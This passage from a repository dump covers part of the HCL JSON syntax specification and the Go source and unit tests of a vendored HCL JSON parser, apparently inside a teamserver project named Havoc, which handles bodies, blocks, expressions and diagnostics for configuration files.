machine-generate, whereas the native syntax is oriented towards human authoring and maintenance This syntax is defined in terms of JSON as defined in [RFC7159](https://tools.ietf.org/html/rfc7159). As such it inherits the JSON grammar as-is, and merely defines a specific methodology for interpreting JSON constructs into HCL structural elements and expressions. This mapping is defined such that valid JSON-serialized HCL input can be _produced_ using standard JSON implementations in various programming languages. _Parsing_ such JSON has some additional constraints not beyond what is normally supported by JSON parsers, so a specialized parser may be required that is able to: - Preserve the relative ordering of properties defined in an object. - Preserve multiple definitions of the same property name. - Preserve numeric values to the precision required by the number type in [the HCL syntax-agnostic information model](../spec.md). - Retain source location information for parsed tokens/constructs in order to produce good error messages. ## Structural Elements [The HCL syntax-agnostic information model](../spec.md) defines a _body_ as an abstract container for attribute definitions and child blocks. A body is represented in JSON as either a single JSON object or a JSON array of objects. Body processing is in terms of JSON object properties, visited in the order they appear in the input. Where a body is represented by a single JSON object, the properties of that object are visited in order. Where a body is represented by a JSON array, each of its elements are visited in order and each element has its properties visited in order. If any element of the array is not a JSON object then the input is erroneous. When a body is being processed in the _dynamic attributes_ mode, the allowance of a JSON array in the previous paragraph does not apply and instead a single JSON object is always required. As defined in the language-agnostic model, body processing is in terms of a schema which provides context for interpreting the body's content. For JSON bodies, the schema is crucial to allow differentiation of attribute definitions and block definitions, both of which are represented via object properties. The special property name `"//"`, when used in an object representing a HCL body, is parsed and ignored. A property with this name can be used to include human-readable comments. (This special property name is _not_ processed in this way for any _other_ HCL constructs that are represented as JSON objects.) ### Attributes Where the given schema describes an attribute with a given name, the object property with the matching name — if present — serves as the attribute's definition. When a body is being processed in the _dynamic attributes_ mode, each object property serves as an attribute definition for the attribute whose name matches the property name. The value of an attribute definition property is interpreted as an _expression_, as described in a later section. Given a schema that calls for an attribute named "foo", a JSON object like the following provides a definition for that attribute: ```json { "foo": "bar baz" } ``` ### Blocks Where the given schema describes a block with a given type name, each object property with the matching name serves as a definition of zero or more blocks of that type. Processing of child blocks is in terms of nested JSON objects and arrays. If the schema defines one or more _labels_ for the block type, a nested JSON object or JSON array of objects is required for each labelling level. These are flattened to a single ordered sequence of object properties using the same algorithm as for body content as defined above. Each object property serves as a label value at the corresponding level. After any labelling levels, the next nested value is either a JSON object representing a single block body, or a JSON array of JSON objects that each represent a single block body. Use of an array accommodates the definition of multiple blocks that have identical type and labels. Given a schema that calls for a block type named "foo" with no labels, the following JSON objects are all valid definitions of zero or more blocks of this type: ```json { "foo": { "child_attr": "baz" } } ``` ```json { "foo": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } ``` ```json { "foo": [] } ``` The first of these defines a single child block of type "foo". The second defines _two_ such blocks. The final example shows a degenerate definition of zero blocks, though generators should prefer to omit the property entirely in this scenario. Given a schema that calls for a block type named "foo" with _two_ labels, the extra label levels must be represented as objects or arrays of objects as in the following examples: ```json { "foo": { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } }, "boz": { "baz": { "child_attr": "baz" } } } } ``` ```json { "foo": { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } }, "boz": { "baz": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } } } ``` ```json { "foo": [ { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } } }, { "bar": { "baz": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } } ] } ``` ```json { "foo": { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } }, "bar": { "baz": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } } } ``` Arrays can be introduced at either the label definition or block body definition levels to define multiple definitions of the same block type or labels while preserving order. A JSON HCL parser _must_ support duplicate definitions of the same property name within a single object, preserving all of them and the relative ordering between them. The array-based forms are also required so that JSON HCL configurations can be produced with JSON producing libraries that are not able to preserve property definition order and multiple definitions of the same property. ## Expressions JSON lacks a native expression syntax, so the HCL JSON syntax instead defines a mapping for each of the JSON value types, including a special mapping for strings that allows optional use of arbitrary expressions. ### Objects When interpreted as an expression, a JSON object represents a value of a HCL object type. Each property of the JSON object represents an attribute of the HCL object type. The property name string given in the JSON input is interpreted as a string expression as described below, and its result is converted to string as defined by the syntax-agnostic information model. If such a conversion is not possible, an error is produced and evaluation fails. An instance of the constructed object type is then created, whose values are interpreted by again recursively applying the mapping rules defined in this section to each of the property values. If any evaluated property name strings produce null values, an error is produced and evaluation fails. If any produce _unknown_ values, the _entire object's_ result is an unknown value of the dynamic pseudo-type, signalling that the type of the object cannot be determined. It is an error to define the same property name multiple times within a single JSON object interpreted as an expression. In full expression mode, this constraint applies to the name expression results after conversion to string, rather than the raw string that may contain interpolation expressions. ### Arrays When interpreted as an expression, a JSON array represents a value of a HCL tuple type. Each element of the JSON array represents an element of the HCL tuple type. The tuple type is constructed by enumerating the JSON array elements, creating for each an element whose type is the result of recursively applying the expression mapping rules. Correspondence is preserved between the array element indices and the tuple element indices. An instance of the constructed tuple type is then created, whose values are interpreted by again recursively applying the mapping rules defined in this section. ### Numbers When interpreted as an expression, a JSON number represents a HCL number value. HCL numbers are arbitrary-precision decimal values, so a JSON HCL parser must be able to translate exactly the value given to a number of corresponding precision, within the constraints set by the HCL syntax-agnostic information model. In practice, off-the-shelf JSON serializers often do not support customizing the processing of numbers, and instead force processing as 32-bit or 64-bit floating point values. A _producer_ of JSON HCL that uses such a serializer can provide numeric values as JSON strings where they have precision too great for representation in the serializer's chosen numeric type in situations where the result will be converted to number (using the standard conversion rules) by a calling application. Alternatively, for expressions that are evaluated in full expression mode an embedded template interpolation can be used to faithfully represent a number, such as `"${1e150}"`, which will then be evaluated by the underlying HCL native syntax expression evaluator. ### Boolean Values The JSON boolean values `true` and `false`, when interpreted as expressions, represent the corresponding HCL boolean values. ### The Null Value The JSON value `null`, when interpreted as an expression, represents a HCL null value of the dynamic pseudo-type. ### Strings When interpreted as an expression, a JSON string may be interpreted in one of two ways depending on the evaluation mode. If evaluating in literal-only mode (as defined by the syntax-agnostic information model) the literal string is interpreted directly as a HCL string value, by directly using the exact sequence of unicode characters represented. Template interpolations and directives MUST NOT be processed in this mode, allowing any characters that appear as introduction sequences to pass through literally: ```json "Hello world! Template sequences like ${ are not interpreted here." ``` When evaluating in full expression mode (again, as defined by the syntax- agnostic information model) the literal string is instead interpreted as a _standalone template_ in the HCL Native Syntax. The expression evaluation result is then the direct result of evaluating that template with the current variable scope and function table. ```json "Hello, ${name}! Template sequences are interpreted in full expression mode." ``` In particular the _Template Interpolation Unwrapping_ requirement from the HCL native syntax specification must be implemented, allowing the use of single-interpolation templates to represent expressions that would not otherwise be representable in JSON, such as the following example where the result must be a number, rather than a string representation of a number: ```json "${ a + b }" ``` ## Static Analysis The HCL static analysis operations are implemented for JSON values that represent expressions, as described in the following sections. Due to the limited expressive power of the JSON syntax alone, use of these static analyses functions rather than normal expression evaluation is used as additional context for how a JSON value is to be interpreted, which means that static analyses can result in a different interpretation of a given expression than normal evaluation. ### Static List An expression interpreted as a static list must be a JSON array. Each of the values in the array is interpreted as an expression and returned. ### Static Map An expression interpreted as a static map must be a JSON object. Each of the key/value pairs in the object is presented as a pair of expressions. Since object property names are always strings, evaluating the key expression with a non-`nil` evaluation context will evaluate any template sequences given in the property name. ### Static Call An expression interpreted as a static call must be a string. The content of the string is interpreted as a native syntax expression (not a _template_, unlike normal evaluation) and then the static call analysis is delegated to that expression. If the original expression is not a string or its contents cannot be parsed as a native syntax expression then static call analysis is not supported. ### Static Traversal An expression interpreted as a static traversal must be a string. The content of the string is interpreted as a native syntax expression (not a _template_, unlike normal evaluation) and then static traversal analysis is delegated to that expression. If the original expression is not a string or its contents cannot be parsed as a native syntax expression then static call analysis is not supported. ================================================ FILE: teamserver/pkg/profile/yaotl/json/structure.go ================================================ package json import ( "fmt" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) // body is the implementation of "Body" used for files processed with the JSON // parser. type body struct { val node // If non-nil, the keys of this map cause the corresponding attributes to // be treated as non-existing. This is used when Body.PartialContent is // called, to produce the "remaining content" Body. hiddenAttrs map[string]struct{} } // expression is the implementation of "Expression" used for files processed // with the JSON parser. type expression struct { src node } func (b *body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, newBody, diags := b.PartialContent(schema) hiddenAttrs := newBody.(*body).hiddenAttrs var nameSuggestions []string for _, attrS := range schema.Attributes { if _, ok := hiddenAttrs[attrS.Name]; !ok { // Only suggest an attribute name if we didn't use it already. nameSuggestions = append(nameSuggestions, attrS.Name) } } for _, blockS := range schema.Blocks { // Blocks can appear multiple times, so we'll suggest their type // names regardless of whether they've already been used. nameSuggestions = append(nameSuggestions, blockS.Type) } jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil) diags = append(diags, attrDiags...) for _, attr := range jsonAttrs { k := attr.Name if k == "//" { // Ignore "//" keys in objects representing bodies, to allow // their use as comments. continue } if _, ok := hiddenAttrs[k]; !ok { suggestion := nameSuggestion(k, nameSuggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous JSON object property", Detail: fmt.Sprintf("No argument or block type is named %q.%s", k, suggestion), Subject: &attr.NameRange, Context: attr.Range().Ptr(), }) } } return content, diags } func (b *body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { var diags hcl.Diagnostics jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil) diags = append(diags, attrDiags...) usedNames := map[string]struct{}{} if b.hiddenAttrs != nil { for k := range b.hiddenAttrs { usedNames[k] = struct{}{} } } content := &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: nil, MissingItemRange: b.MissingItemRange(), } // Create some more convenient data structures for our work below. attrSchemas := map[string]hcl.AttributeSchema{} blockSchemas := map[string]hcl.BlockHeaderSchema{} for _, attrS := range schema.Attributes { attrSchemas[attrS.Name] = attrS } for _, blockS := range schema.Blocks { blockSchemas[blockS.Type] = blockS } for _, jsonAttr := range jsonAttrs { attrName := jsonAttr.Name if _, used := b.hiddenAttrs[attrName]; used { continue } if attrS, defined := attrSchemas[attrName]; defined { if existing, exists := content.Attributes[attrName]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate argument", Detail: fmt.Sprintf("The argument %q was already set at %s.", attrName, existing.Range), Subject: &jsonAttr.NameRange, Context: jsonAttr.Range().Ptr(), }) continue } content.Attributes[attrS.Name] = &hcl.Attribute{ Name: attrS.Name, Expr: &expression{src: jsonAttr.Value}, Range: hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()), NameRange: jsonAttr.NameRange, } usedNames[attrName] = struct{}{} } else if blockS, defined := blockSchemas[attrName]; defined { bv := jsonAttr.Value blockDiags := b.unpackBlock(bv, blockS.Type, &jsonAttr.NameRange, blockS.LabelNames, nil, nil, &content.Blocks) diags = append(diags, blockDiags...) usedNames[attrName] = struct{}{} } // We ignore anything that isn't defined because that's the // PartialContent contract. The Content method will catch leftovers. } // Make sure we got all the required attributes. for _, attrS := range schema.Attributes { if !attrS.Required { continue } if _, defined := content.Attributes[attrS.Name]; !defined { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing required argument", Detail: fmt.Sprintf("The argument %q is required, but no definition was found.", attrS.Name), Subject: b.MissingItemRange().Ptr(), }) } } unusedBody := &body{ val: b.val, hiddenAttrs: usedNames, } return content, unusedBody, diags } // JustAttributes for JSON bodies interprets all properties of the wrapped // JSON object as attributes and returns them. func (b *body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { var diags hcl.Diagnostics attrs := make(map[string]*hcl.Attribute) obj, ok := b.val.(*objectVal) if !ok { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: "A JSON object is required here, setting the arguments for this block.", Subject: b.val.StartRange().Ptr(), }) return attrs, diags } for _, jsonAttr := range obj.Attrs { name := jsonAttr.Name if name == "//" { // Ignore "//" keys in objects representing bodies, to allow // their use as comments. continue } if _, hidden := b.hiddenAttrs[name]; hidden { continue } if existing, exists := attrs[name]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate attribute definition", Detail: fmt.Sprintf("The argument %q was already set at %s.", name, existing.Range), Subject: &jsonAttr.NameRange, }) continue } attrs[name] = &hcl.Attribute{ Name: name, Expr: &expression{src: jsonAttr.Value}, Range: hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()), NameRange: jsonAttr.NameRange, } } // No diagnostics possible here, since the parser already took care of // finding duplicates and every JSON value can be a valid attribute value. return attrs, diags } func (b *body) MissingItemRange() hcl.Range { switch tv := b.val.(type) { case *objectVal: return tv.CloseRange case *arrayVal: return tv.OpenRange default: // Should not happen in correct operation, but might show up if the // input is invalid and we are producing partial results. return tv.StartRange() } } func (b *body) unpackBlock(v node, typeName string, typeRange *hcl.Range, labelsLeft []string, labelsUsed []string, labelRanges []hcl.Range, blocks *hcl.Blocks) (diags hcl.Diagnostics) { if len(labelsLeft) > 0 { labelName := labelsLeft[0] jsonAttrs, attrDiags := b.collectDeepAttrs(v, &labelName) diags = append(diags, attrDiags...) if len(jsonAttrs) == 0 { diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing block label", Detail: fmt.Sprintf("At least one object property is required, whose name represents the %s block's %s.", typeName, labelName), Subject: v.StartRange().Ptr(), }) return } labelsUsed := append(labelsUsed, "") labelRanges := append(labelRanges, hcl.Range{}) for _, p := range jsonAttrs { pk := p.Name labelsUsed[len(labelsUsed)-1] = pk labelRanges[len(labelRanges)-1] = p.NameRange diags = append(diags, b.unpackBlock(p.Value, typeName, typeRange, labelsLeft[1:], labelsUsed, labelRanges, blocks)...) } return } // By the time we get here, we've peeled off all the labels and we're ready // to deal with the block's actual content. // need to copy the label slices because their underlying arrays will // continue to be mutated after we return. labels := make([]string, len(labelsUsed)) copy(labels, labelsUsed) labelR := make([]hcl.Range, len(labelRanges)) copy(labelR, labelRanges) switch tv := v.(type) { case *nullVal: // There is no block content, e.g the value is null. return case *objectVal: // Single instance of the block *blocks = append(*blocks, &hcl.Block{ Type: typeName, Labels: labels, Body: &body{ val: tv, }, DefRange: tv.OpenRange, TypeRange: *typeRange, LabelRanges: labelR, }) case *arrayVal: // Multiple instances of the block for _, av := range tv.Values { *blocks = append(*blocks, &hcl.Block{ Type: typeName, Labels: labels, Body: &body{ val: av, // might be mistyped; we'll find out when content is requested for this body }, DefRange: tv.OpenRange, TypeRange: *typeRange, LabelRanges: labelR, }) } default: diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: fmt.Sprintf("Either a JSON object or a JSON array is required, representing the contents of one or more %q blocks.", typeName), Subject: v.StartRange().Ptr(), }) } return } // collectDeepAttrs takes either a single object or an array of objects and // flattens it into a list of object attributes, collecting attributes from // all of the objects in a given array. // // Ordering is preserved, so a list of objects that each have one property // will result in those properties being returned in the same order as the // objects appeared in the array. // // This is appropriate for use only for objects representing bodies or labels // within a block. // // The labelName argument, if non-null, is used to tailor returned error // messages to refer to block labels rather than attributes and child blocks. // It has no other effect. func (b *body) collectDeepAttrs(v node, labelName *string) ([]*objectAttr, hcl.Diagnostics) { var diags hcl.Diagnostics var attrs []*objectAttr switch tv := v.(type) { case *nullVal: // If a value is null, then we don't return any attributes or return an error. case *objectVal: attrs = append(attrs, tv.Attrs...) case *arrayVal: for _, ev := range tv.Values { switch tev := ev.(type) { case *objectVal: attrs = append(attrs, tev.Attrs...) default: if labelName != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: fmt.Sprintf("A JSON object is required here, to specify %s labels for this block.", *labelName), Subject: ev.StartRange().Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: "A JSON object is required here, to define arguments and child blocks.", Subject: ev.StartRange().Ptr(), }) } } } default: if labelName != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: fmt.Sprintf("Either a JSON object or JSON array of objects is required here, to specify %s labels for this block.", *labelName), Subject: v.StartRange().Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: "Either a JSON object or JSON array of objects is required here, to define arguments and child blocks.", Subject: v.StartRange().Ptr(), }) } } return attrs, diags } func (e *expression) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { switch v := e.src.(type) { case *stringVal: if ctx != nil { // Parse string contents as a HCL native language expression. // We only do this if we have a context, so passing a nil context // is how the caller specifies that interpolations are not allowed // and that the string should just be returned verbatim. templateSrc := v.Value expr, diags := hclsyntax.ParseTemplate( []byte(templateSrc), v.SrcRange.Filename, // This won't produce _exactly_ the right result, since // the hclsyntax parser can't "see" any escapes we removed // while parsing JSON, but it's better than nothing. hcl.Pos{ Line: v.SrcRange.Start.Line, // skip over the opening quote mark Byte: v.SrcRange.Start.Byte + 1, Column: v.SrcRange.Start.Column + 1, }, ) if diags.HasErrors() { return cty.DynamicVal, diags } val, evalDiags := expr.Value(ctx) diags = append(diags, evalDiags...) return val, diags } return cty.StringVal(v.Value), nil case *numberVal: return cty.NumberVal(v.Value), nil case *booleanVal: return cty.BoolVal(v.Value), nil case *arrayVal: var diags hcl.Diagnostics vals := []cty.Value{} for _, jsonVal := range v.Values { val, valDiags := (&expression{src: jsonVal}).Value(ctx) vals = append(vals, val) diags = append(diags, valDiags...) } return cty.TupleVal(vals), diags case *objectVal: var diags hcl.Diagnostics attrs := map[string]cty.Value{} attrRanges := map[string]hcl.Range{} known := true for _, jsonAttr := range v.Attrs { // In this one context we allow keys to contain interpolation // expressions too, assuming we're evaluating in interpolation // mode. This achieves parity with the native syntax where // object expressions can have dynamic keys, while block contents // may not. name, nameDiags := (&expression{src: &stringVal{ Value: jsonAttr.Name, SrcRange: jsonAttr.NameRange, }}).Value(ctx) valExpr := &expression{src: jsonAttr.Value} val, valDiags := valExpr.Value(ctx) diags = append(diags, nameDiags...) diags = append(diags, valDiags...) var err error name, err = convert.Convert(name, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key expression", Detail: fmt.Sprintf("Cannot use this expression as an object key: %s.", err), Subject: &jsonAttr.NameRange, Expression: valExpr, EvalContext: ctx, }) continue } if name.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key expression", Detail: "Cannot use null value as an object key.", Subject: &jsonAttr.NameRange, Expression: valExpr, EvalContext: ctx, }) continue } if !name.IsKnown() { // This is a bit of a weird case, since our usual rules require // us to tolerate unknowns and just represent the result as // best we can but if we don't know the key then we can't // know the type of our object at all, and thus we must turn // the whole thing into cty.DynamicVal. This is consistent with // how this situation is handled in the native syntax. // We'll keep iterating so we can collect other errors in // subsequent attributes. known = false continue } nameStr := name.AsString() if _, defined := attrs[nameStr]; defined { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate object attribute", Detail: fmt.Sprintf("An attribute named %q was already defined at %s.", nameStr, attrRanges[nameStr]), Subject: &jsonAttr.NameRange, Expression: e, EvalContext: ctx, }) continue } attrs[nameStr] = val attrRanges[nameStr] = jsonAttr.NameRange } if !known { // We encountered an unknown key somewhere along the way, so // we can't know what our type will eventually be. return cty.DynamicVal, diags } return cty.ObjectVal(attrs), diags case *nullVal: return cty.NullVal(cty.DynamicPseudoType), nil default: // Default to DynamicVal so that ASTs containing invalid nodes can // still be partially-evaluated. return cty.DynamicVal, nil } } func (e *expression) Variables() []hcl.Traversal { var vars []hcl.Traversal switch v := e.src.(type) { case *stringVal: templateSrc := v.Value expr, diags := hclsyntax.ParseTemplate( []byte(templateSrc), v.SrcRange.Filename, // This won't produce _exactly_ the right result, since // the hclsyntax parser can't "see" any escapes we removed // while parsing JSON, but it's better than nothing. hcl.Pos{ Line: v.SrcRange.Start.Line, // skip over the opening quote mark Byte: v.SrcRange.Start.Byte + 1, Column: v.SrcRange.Start.Column + 1, }, ) if diags.HasErrors() { return vars } return expr.Variables() case *arrayVal: for _, jsonVal := range v.Values { vars = append(vars, (&expression{src: jsonVal}).Variables()...) } case *objectVal: for _, jsonAttr := range v.Attrs { keyExpr := &stringVal{ // we're going to treat key as an expression in this context Value: jsonAttr.Name, SrcRange: jsonAttr.NameRange, } vars = append(vars, (&expression{src: keyExpr}).Variables()...) vars = append(vars, (&expression{src: jsonAttr.Value}).Variables()...) } } return vars } func (e *expression) Range() hcl.Range { return e.src.Range() } func (e *expression) StartRange() hcl.Range { return e.src.StartRange() } // Implementation for hcl.AbsTraversalForExpr. func (e *expression) AsTraversal() hcl.Traversal { // In JSON-based syntax a traversal is given as a string containing // traversal syntax as defined by hclsyntax.ParseTraversalAbs. switch v := e.src.(type) { case *stringVal: traversal, diags := hclsyntax.ParseTraversalAbs([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start) if diags.HasErrors() { return nil } return traversal default: return nil } } // Implementation for hcl.ExprCall. func (e *expression) ExprCall() *hcl.StaticCall { // In JSON-based syntax a static call is given as a string containing // an expression in the native syntax that also supports ExprCall. switch v := e.src.(type) { case *stringVal: expr, diags := hclsyntax.ParseExpression([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start) if diags.HasErrors() { return nil } call, diags := hcl.ExprCall(expr) if diags.HasErrors() { return nil } return call default: return nil } } // Implementation for hcl.ExprList. func (e *expression) ExprList() []hcl.Expression { switch v := e.src.(type) { case *arrayVal: ret := make([]hcl.Expression, len(v.Values)) for i, node := range v.Values { ret[i] = &expression{src: node} } return ret default: return nil } } // Implementation for hcl.ExprMap. func (e *expression) ExprMap() []hcl.KeyValuePair { switch v := e.src.(type) { case *objectVal: ret := make([]hcl.KeyValuePair, len(v.Attrs)) for i, jsonAttr := range v.Attrs { ret[i] = hcl.KeyValuePair{ Key: &expression{src: &stringVal{ Value: jsonAttr.Name, SrcRange: jsonAttr.NameRange, }}, Value: &expression{src: jsonAttr.Value}, } } return ret default: return nil } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/structure_test.go ================================================ package json import ( "fmt" "reflect" "strings" "testing" "github.com/davecgh/go-spew/spew" "github.com/go-test/deep" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func TestBodyPartialContent(t *testing.T) { tests := []struct { src string schema *hcl.BodySchema want *hcl.BodyContent diagCount int }{ { `{}`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, 0, }, { `[]`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[{}]`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[[]]`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 1, // elements of root array must be objects }, { `{"//": "comment that should be ignored"}`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 40, Byte: 39}, End: hcl.Pos{Line: 1, Column: 41, Byte: 40}, }, }, 0, }, { `{"//": "comment that should be ignored", "//": "another comment"}`, &hcl.BodySchema{}, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 65, Byte: 64}, End: hcl.Pos{Line: 1, Column: 66, Byte: 65}, }, }, 0, }, { `{"name":"Ermintrude"}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": &hcl.Attribute{ Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 21, Byte: 20}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, 0, }, { `[{"name":"Ermintrude"}]`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": &hcl.Attribute{ Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, End: hcl.Pos{ Byte: 21, Line: 1, Column: 22, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 21, Line: 1, Column: 22, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `{"name":"Ermintrude"}`, &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "name", Required: true, }, { Name: "age", Required: true, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{ "name": &hcl.Attribute{ Name: "name", Expr: &expression{ src: &stringVal{ Value: "Ermintrude", SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 8, Line: 1, Column: 9, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, }, }, Range: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 20, Line: 1, Column: 21, }, }, NameRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, }, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 21, Byte: 20}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, 1, }, { `{"resource": null}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, // We don't find any blocks if the value is json null. Blocks: nil, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 18, Byte: 17}, End: hcl.Pos{Line: 1, Column: 19, Byte: 18}, }, }, 0, }, { `{"resource": { "nested": null }}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", LabelNames: []string{"name"}, }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: nil, MissingItemRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{Line: 1, Column: 32, Byte: 31}, End: hcl.Pos{Line: 1, Column: 33, Byte: 32}, }, }, 0, }, { `{"resource":{}}`, &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: "resource", }, }, }, &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: hcl.Blocks{ { Type: "resource", Labels: []string{}, Body: &body{ val: &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, }, OpenRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, CloseRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, End: hcl.Pos{ Byte: 14, Line: 1, Column: 15, }, }, }, }, DefRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 12, Line: 1, Column: 13, }, End: hcl.Pos{ Byte: 13, Line: 1, Column: 14, }, }, TypeRange: hcl.Range{ Filename: "test.json", Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 